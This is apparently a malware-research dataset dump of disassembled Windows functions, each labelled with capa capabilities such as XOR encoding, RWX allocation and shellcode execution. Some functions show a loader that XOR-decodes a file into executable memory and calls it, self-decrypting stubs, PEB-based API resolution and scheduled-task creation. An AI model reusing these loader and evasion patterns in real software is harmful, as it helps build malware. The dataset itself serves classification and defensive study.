joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10
Function at 0xa256fc8
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
call esi
mov edi, eax
call 0xa256f2b
push edi
imul ebp, dword [esi + 0x48], 0x52707474
popal
inc esp
popal
je 0xa256f8b
add byte [ebp - 1], dl
salc
mov ebp, eax
lea edx, [esp + 0x10]
push edx
push dword [esp + 0xc]
call edi
mov eax, dword [esp + 0x10]
test eax, eax
je 0xa256f78
cmp eax, 0x1000
jbe 0xa256f4f
mov eax, 0x1000
lea edx, [esp + 0x10]
push edx
push eax
lea edx, [esp + 0x1c]
push edx
push dword [esp + 0x14]
call ebp
push 0
lea edx, [esp + 0x14]
push edx
push dword [esp + 0x18]
lea edx, [esp + 0x20]
push edx
push dword [esp + 0x1c]
call ebx
jmp 0xa256f30
pop ebx
pop edi
pop eax
call 0xa256f8c
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0xa256fea
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[ebx - 1], dl
add byte [ebx - 1], dl
salc
push dword [esp]
call eax
call 0xa256fa1
push edi
imul ebp, dword [esi + 0x45], 0x636578
push ebx
call esi
push 1
lea edx, [esp + 0x1010]
push edx
call eax
call 0xa256fc1
inc ebp
js 0xa257021
je 0xa25700a
jb 0xa25702b
arpl word [ebp + 0x73], sp
jae 0xa256fc1
push ebx
call esi
push 0
call eax
push edx
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
add edx, 0xc
mov edx, dword [edx]
mov ecx, dword [edx + 0x30]
push ecx
push dword [esp + 0xc]
call 0xa256ff0
test eax, eax
je 0xa256fd6
mov eax, dword [edx + 0x18]
pop edx
ret 4
inc edx
sbb byte [edx - 0x3e], bl
add al, 0
push edx
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
movzx eax, word [ecx]
test ax, ax
je 0xa25703a
cmp ax, word [edx]
je 0xa25702f
cmp ax, 0x61
jb 0xa257012
cmp ax, 0x7a
jbe 0xa25701e
cmp ax, 0x41
jb 0xa25702b
cmp ax, 0x5a
ja 0xa25702b
xor ax, 0x20
cmp ax, word [edx]
je 0xa257029
and byte [esi + 0x3b], ah
add dh, byte [edx + eax - 0x15]
add ch, bl
add al, 0x31
shr bl, 0xe
jmp 0xa25702b
jmp 0xa25702f
xor eax, eax
jmp 0xa25703d
add ecx, 2
add edx, 2
movzx eax, word [ecx]
jmp 0xa256ffc
or eax, 1
pop edx
ret 8
Function at 0x40cc7b
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x434ad7
call fcn.004339e0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.004028e9
and dword [ebp - 4], 0
lea ecx, [esi + 0xc]
call fcn.004028e9
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.004028e9
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 2
call fcn.004028e9
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 3
call fcn.004028e9
and byte [esi + 0x3c], 0
lea ecx, [esi + 0x40]
mov byte [ebp - 4], 4
call fcn.004028e9
lea ecx, [esi + 0x4c]
mov byte [ebp - 4], 5
call fcn.004028e9
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x40d3e4
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x434bff
call fcn.004339e0
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.004029bc
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.004029bc
lea eax, [edi + 0x18]
lea ecx, [esi + 0x18]
push eax
mov byte [ebp - 4], 1
call fcn.004029bc
lea eax, [edi + 0x24]
lea ecx, [esi + 0x24]
push eax
mov byte [ebp - 4], 2
call fcn.004029bc
lea eax, [edi + 0x30]
lea ecx, [esi + 0x30]
push eax
mov byte [ebp - 4], 3
call fcn.004029bc
mov al, byte [edi + 0x3c]
lea ecx, [esi + 0x40]
mov byte [esi + 0x3c], al
lea eax, [edi + 0x40]
push eax
mov byte [ebp - 4], 4
call fcn.004029bc
add edi, 0x4c
lea ecx, [esi + 0x4c]
push edi
mov byte [ebp - 4], 5
call fcn.004029bc
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x40dd71
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40dd80
pop dword [ebp - 0x3c]
mov eax, 0x40dd80
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x3e207
push 0
mov eax, 0xf312cb14
sub eax, 0xf2cf4ae4
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x56965259
add ecx, 0xa96a0381
xor edx, edx
add edx, eax
mov ebx, 0x5d3c6c3d
sub ebx, 0x5cf7a63d
add ebx, dword [ebp - 0x3c]
mov esi, 0x523eea80
sub esi, 0xa4509a69
sub dword [ebp - 0x14], 0xaba1f1e3
mov edi, dword [ebx]
xor dword [ebp - 0x30], 0xd80a824b
sub edi, esi
mov dword [edx], edi
add dword [ebp - 0x28], 0xe09689b7
add edx, 0x4dc2be4a
sub edx, 0x4dc2be46
add ebx, 0xd3f3006f
add ebx, 0x2c0cff95
loop 0x40dddc
add eax, 0x83b28655
add eax, 0x7c4ec3e6
mov ebx, eax
add eax, 5
mov ecx, 0xad84fce
sub ecx, 0xa984fce
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x412d32
Capabilities:
Encode data using xor

Disassembly:
push esi
or eax, 0xffffffff
xor esi, esi
test edx, edx
jbe 0x412d5f
push ebx
push edi
movzx edi, byte [esi + ecx]
mov ebx, eax
and ebx, 0xff
xor edi, ebx
shr eax, 8
mov edi, dword [edi*4 + 0x444740]
xor eax, edi
inc esi
cmp esi, edx
jb 0x412d3e
pop edi
pop ebx
not eax
pop esi
ret
Function at 0x44c3b0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57b800
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x5faea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov bl, 0x41
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x30], bl
nop
test al, 1
je 0x44c4f4
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x40], 0xf
push 1
mov dword [ebp - 0x44], 0
mov byte [ebp - 0x54], 0
call fcn.00450ee0
push 0x5f29a8
lea edx, [ebp - 0x54]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00451ec0
add esp, 4
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x40]
cmp eax, 0x10
jb 0x44c48b
mov ecx, dword [ebp - 0x54]
inc eax
cmp eax, 0x1000
jb 0x44c482
test cl, 0x1f
jne 0x44c523
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x44c523
sub ecx, eax
cmp ecx, 4
jb 0x44c523
cmp ecx, 0x23
ja 0x44c523
mov ecx, eax
push ecx
call fcn.0057a118
add esp, 4
push dword [ebp - 0x34]
mov edx, esi
mov dword [ebp - 0x40], 0xf
push dword [ebp - 0x38]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x44], 0
push dword [ebp - 0x3c]
mov byte [ebp - 0x54], 0
push edi
call fcn.0044bf90
mov dword [ebp - 4], 0xffffffff
add esp, 0x10
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x44c4f1
mov ecx, dword [ebp - 0x28]
inc eax
cmp eax, 0x1000
jb 0x44c4e8
test cl, 0x1f
jne 0x44c523
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x44c523
sub ecx, eax
cmp ecx, 4
jb 0x44c523
cmp ecx, 0x23
ja 0x44c523
mov ecx, eax
push ecx
call fcn.0057a118
add esp, 4
mov eax, dword [ebp - 0x2c]
inc bl
shr eax, 1
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x30], bl
cmp bl, 0x5a
jle 0x44c400
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00579fe8
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x44c930
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x30
mov eax, dword [0x5faea4]
xor eax, esp
mov dword [esp + 0x2c], eax
xorps xmm0, xmm0
mov dword [esp + 0x18], 0
mov eax, 0x4414
movq qword [esp + 0x10], xmm0
mov word [esp + 0x10], ax
lea eax, [esp]
movaps xmmword [esp], xmm0
push eax
mov word [esp + 0x20], 0
mov dword [esp + 4], 0
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.C:_Recycle.Bin
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
push 0x451e90
test eax, eax
jne 0x44c9ab
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Recycle_Bin_emptied_successfully.
call fcn.00451a50
add esp, 4
jmp 0x44c9c4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_empty_Recycle_Bin._Error_code:
push eax
call fcn.00451a50
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.00579fe8
mov esp, ebp
pop ebp
ret

Function at 0x44cf50
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57b8d8
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x5faea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, ecx
lea ecx, [ebp - 0x40]
push str.deleteFile.bat
call fcn.00451f10
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x58]
call fcn.00452020
push str.___sc_minute__mo_2
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00451ec0
add esp, 0xc
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 3
call fcn.0044f9d0
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, str.Scheduled_task_created_successfully.
push 0x451e90
test eax, eax
je 0x44cfea
mov edx, str.Failed_to_create_scheduled_task.
call fcn.00451a50
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x28]
call fcn.0044f9d0
lea ecx, [ebp - 0x40]
call fcn.0044f9d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00579fe8
mov esp, ebp
pop ebp
ret
Function at 0x4513f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57cd08
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x5faea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x30], ebx
cmp dword [ebx + 0x38], 0
je 0x4515b1
cmp byte [ebx + 0x3d], 0
je 0x4515b1
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x45144c
xor al, al
jmp 0x4515b3
push 0
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.00450ee0
mov dword [ebp - 4], 0
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
jmp 0x451483
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
nop
mov ebx, dword [ebp - 0x30]
cmp esi, 0x10
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
cmovae edx, edi
lea ecx, [ebp - 0x28]
cmovae ecx, edi
add eax, edx
push eax
push ecx
mov ecx, dword [ebx + 0x38]
lea eax, [ebx + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x4514ce
sub eax, 1
je 0x4514d2
sub eax, 2
je 0x4515a3
lea ecx, [ebp - 0x28]
xor bl, bl
call fcn.0044f9d0
mov al, bl
jmp 0x4515b3
mov byte [ebx + 0x3d], 0
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edi, dword [ebp - 0x28]
cmp esi, 0x10
mov ebx, dword [ebp - 0x2c]
cmovae eax, edi
sub ebx, eax
je 0x45150e
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x28]
cmp esi, 0x10
cmovae eax, edi
push dword [ecx + 0x4c]
push ebx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp ebx, eax
jne 0x4514bd
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
cmp byte [eax + 0x3d], 0
je 0x4515a3
test ebx, ebx
mov ebx, eax
jne 0x451483
mov ecx, dword [ebp - 0x18]
or eax, 0xffffffff
sub eax, ecx
cmp eax, 8
jbe 0x451598
lea ebx, [ecx + 8]
cmp ebx, 0xfffffffe
ja 0x451598
cmp esi, ebx
jae 0x451581
push ecx
push ebx
lea ecx, [ebp - 0x28]
call fcn.00451850
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
test ebx, ebx
je 0x451480
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
cmp esi, 0x10
xorps xmm0, xmm0
cmovae ecx, edi
movq qword [ecx + eax], xmm0
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
mov dword [ebp - 0x18], ebx
cmovae eax, dword [ebp - 0x28]
mov byte [eax + ebx], 0
jmp 0x451479
test ebx, ebx
jne 0x451556
cmp esi, 0x10
mov dword [ebp - 0x18], ebx
lea eax, [ebp - 0x28]
cmovae eax, edi
mov byte [eax], bl
jmp 0x451479
push str.string_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea ecx, [ebp - 0x28]
mov bl, 1
call fcn.0044f9d0
mov al, bl
jmp 0x4515b3
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00579fe8
mov esp, ebp
pop ebp
ret
Function at 0x46e950
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ebp, dword [esp + 0x10]
lea edx, [eax - 1]
not eax
shr edx, 0x1f
shr eax, 0x1f
and edx, eax
mov eax, dword [ebx + 4]
mov ecx, dword [ebp + 4]
dec edx
xor eax, ecx
mov dword [esp + 0xc], edx
and eax, edx
xor ecx, eax
mov dword [ebp + 4], ecx
xor dword [ebx + 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebx + 0xc]
xor eax, ecx
movd xmm0, edx
and eax, edx
pshufd xmm3, xmm0, 0
xor ecx, eax
mov dword [ebp + 0xc], ecx
xor dword [ebx + 0xc], eax
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebx + 0x10]
xor eax, ecx
and eax, edx
mov edx, dword [esp + 0x18]
and eax, 4
xor ecx, eax
mov dword [ebp + 0x10], ecx
xor dword [ebx + 0x10], eax
xor eax, eax
test edx, edx
jle 0x46eaca
push esi
push edi
cmp edx, 8
jb 0x46eaa0
mov esi, dword [ebp]
lea ecx, [edx - 1]
mov edi, dword [ebx]
lea ebp, [edx - 1]
lea ebp, [esi + ebp*4]
cmp edi, ebp
lea ecx, [edi + ecx*4]
mov ebp, dword [esp + 0x18]
ja 0x46e9ec
cmp ecx, esi
jae 0x46eaa0
cmp edi, ebx
ja 0x46e9f8
cmp ecx, ebx
jae 0x46eaa0
cmp edi, ebp
ja 0x46ea04
cmp ecx, ebp
jae 0x46eaa0
lea ecx, [edx - 1]
lea ecx, [esi + ecx*4]
cmp esi, ebx
ja 0x46ea16
cmp ecx, ebx
jae 0x46eaa0
cmp esi, ebp
ja 0x46ea22
cmp ecx, ebp
jae 0x46eaa0
mov ecx, edx
and ecx, reloc.WS2_32.dll_getsockopt
jns 0x46ea31
dec ecx
or ecx, 0xfffffff8
inc ecx
mov dword [esp + 0x18], edx
sub dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x18]
nop dword [eax]
movups xmm1, xmmword [esi + eax*4]
movups xmm0, xmmword [edi + eax*4]
movaps xmm2, xmm1
pxor xmm2, xmm0
pand xmm2, xmm3
movaps xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [esi + eax*4], xmm0
movups xmm0, xmmword [edi + eax*4]
pxor xmm2, xmm0
movups xmmword [edi + eax*4], xmm2
movups xmm1, xmmword [esi + eax*4 + 0x10]
movups xmm0, xmmword [edi + eax*4 + 0x10]
movaps xmm2, xmm1
pxor xmm2, xmm0
pand xmm2, xmm3
movaps xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [esi + eax*4 + 0x10], xmm0
movups xmm0, xmmword [edi + eax*4 + 0x10]
pxor xmm2, xmm0
movups xmmword [edi + eax*4 + 0x10], xmm2
add eax, 8
cmp eax, ecx
jl 0x46ea40
cmp eax, edx
jge 0x46eac8
mov ecx, dword [ebp]
mov edx, dword [ecx + eax*4]
lea esi, [ecx + eax*4]
mov ecx, dword [ebx]
mov edi, dword [ecx + eax*4]
xor edi, edx
and edi, dword [esp + 0x14]
xor edx, edi
mov dword [esi], edx
mov ecx, dword [ebx]
xor dword [ecx + eax*4], edi
inc eax
cmp eax, dword [esp + 0x20]
jl 0x46eaa4
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x46f390
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x24
call fcn.0057a390
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x38]
xor ecx, ecx
xor ebx, ebx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], ecx
test byte [edi + 0x10], 4
mov eax, dword [edi + 4]
lea ebp, [eax - 1]
je 0x46f3cb
push edi
call fcn.0046f8c0
add esp, 4
mov esi, eax
jmp 0x46f3e6
test eax, eax
jne 0x46f3d3
xor esi, esi
jmp 0x46f3e6
mov eax, dword [edi]
push dword [eax + ebp*4]
call fcn.0046ee20
add esp, 4
shl ebp, 5
lea esi, [eax + ebp]
lea eax, [esi + 7]
cdq
and edx, 7
add edx, eax
sar edx, 3
cmp dword [esp + 0x48], ebx
jne 0x46f42b
mov ebx, dword [edi + 0xc]
lea eax, [edx*8]
mov ecx, ebx
neg ecx
sbb ecx, ecx
and ecx, 0xff
mov dword [esp + 0x14], ecx
cmp eax, esi
jne 0x46f423
xor eax, eax
test ebx, ebx
sete al
mov dword [esp + 0x10], eax
jmp 0x46f42d
mov eax, ebx
mov dword [esp + 0x10], eax
jmp 0x46f42d
xor eax, eax
mov esi, dword [esp + 0x40]
cmp esi, 0xffffffff
jne 0x46f46b
lea esi, [edx + eax]
mov dword [esp + 0x40], esi
mov ecx, dword [edi + 8]
shl ecx, 2
test ecx, ecx
jne 0x46f514
test esi, esi
je 0x46f5a1
push esi
push ecx
push dword [esp + 0x44]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
add eax, edx
cmp esi, eax
jge 0x46f43d
movups xmm0, xmmword [edi]
mov eax, dword [edi + 0x10]
mov dword [esp + 0x30], eax
movups xmmword [esp + 0x20], xmm0
mov edx, dword [esp + 0x20]
psrldq xmm0, 4
movd ecx, xmm0
mov dword [esp + 0x24], ecx
test ecx, ecx
jle 0x46f4b2
lea eax, [edx + ecx*4]
nop dword [eax + eax]
cmp dword [eax - 4], 0
lea eax, [eax - 4]
jne 0x46f4ae
dec ecx
test ecx, ecx
jg 0x46f4a0
mov dword [esp + 0x24], ecx
mov eax, dword [esp + 0x2c]
xor ebp, ebp
test ecx, ecx
cmove eax, ebp
test byte [edi + 0x10], 4
mov dword [esp + 0x2c], eax
lea ebp, [ecx - 1]
je 0x46f4d9
lea eax, [esp + 0x20]
push eax
call fcn.0046f8c0
add esp, 4
jmp 0x46f4f1
test ecx, ecx
jne 0x46f4e1
xor eax, eax
jmp 0x46f4f1
push dword [edx + ebp*4]
call fcn.0046ee20
shl ebp, 5
add esp, 4
add eax, ebp
add eax, 7
cdq
and edx, 7
add eax, edx
sar eax, 3
add eax, dword [esp + 0x10]
cmp esi, eax
jge 0x46f43d
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x24
ret
cmp dword [esp + 0x44], 1
mov eax, dword [esp + 0x3c]
jne 0x46f529
mov dword [esp + 0x48], 1
jmp 0x46f534
dec eax
mov dword [esp + 0x48], 0xffffffff
add eax, esi
mov dword [esp + 0x38], eax
xor ebp, ebp
lea eax, [ecx - 1]
mov dword [esp + 0x1c], eax
mov eax, dword [edi + 4]
shl eax, 2
test esi, esi
je 0x46f5a1
neg eax
mov dword [esp + 0x10], esi
mov esi, eax
mov eax, dword [edi]
mov edx, ebp
shr edx, 2
mov ecx, ebp
and ecx, 3
shl ecx, 3
mov edx, dword [eax + edx*4]
mov eax, esi
shr eax, 0x1f
neg al
shr edx, cl
and dl, al
mov eax, dword [esp + 0x38]
xor dl, byte [esp + 0x14]
add bl, dl
cmp bl, dl
mov byte [eax], bl
sbb ebx, ebx
add eax, dword [esp + 0x48]
mov dword [esp + 0x38], eax
neg ebx
mov eax, ebp
inc esi
sub eax, dword [esp + 0x1c]
shr eax, 0x1f
add ebp, eax
sub dword [esp + 0x10], 1
jne 0x46f553
mov esi, dword [esp + 0x40]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x4761f0
Capabilities:
Initialize winsock library

Disassembly:
cmp dword [0x5fb200], 0
jne 0x476289
push 0x190
push 0
push 0x5fb208
mov dword [0x5fb200], 1
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x5fb208
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x476289
call fcn.004650f0
push str.BIO_sock_init
push 0x99
push str.crypto_bio_bio_sock.c
call fcn.00465140
add esp, 0xc
push str.calling_wsastartup__
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 2
call fcn.00465170
call fcn.004650f0
push str.BIO_sock_init
push 0x9b
push str.crypto_bio_bio_sock.c
call fcn.00465140
push 0
push 0x7a
push 0x20
call fcn.00465170
add esp, 0x24
or eax, 0xffffffff
ret
mov eax, 1
ret

Function at 0x476290
Capabilities:
Set socket configuration

Disassembly:
mov eax, dword [esp + 8]
push esi
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 0x8004667e
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
test esi, esi
jns 0x4762e5
call fcn.004650f0
push str.BIO_socket_ioctl
push 0xf7
push str.crypto_bio_bio_sock.c
call fcn.00465140
add esp, 0xc
push str.calling_ioctlsocket__
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 2
call fcn.00465170
add esp, 0xc
xor eax, eax
test esi, esi
pop esi
sete al
ret

Function at 0x4762f0
Capabilities:
Get socket status

Disassembly:
mov eax, 0x110
call fcn.0057a390
mov eax, dword [0x5faea4]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebp
mov ebp, dword [esp + 0x11c]
push edi
mov edi, dword [esp + 0x11c]
cmp edi, 0x3f
ja 0x4763dd
push esi
mov esi, dword [esp + 0x128]
mov eax, esi
or eax, dword [esp + 0x12c]
jne 0x476351
pop esi
pop edi
mov eax, 1
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.00579fe8
add esp, 0x110
ret
push 0
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
add esp, 4
cmp dword [esp + 0x12c], edx
jg 0x476384
jl 0x47636a
cmp esi, eax
jae 0x476384
pop esi
pop edi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.00579fe8
add esp, 0x110
ret
sub esi, eax
mov dword [esp + 0x18], edi
xor ecx, ecx
mov dword [esp + 0x14], 1
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
test ebp, ebp
mov dword [esp + 0x10], esi
push 0
lea eax, [esp + 0x1c]
cmovne eax, ecx
test ebp, ebp
push eax
lea eax, [esp + 0x20]
cmove eax, ecx
push eax
lea eax, [edi + 1]
push eax
call dword [sym.imp.WS2_32.dll_select]
pop esi
pop edi
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.00579fe8
add esp, 0x110
ret
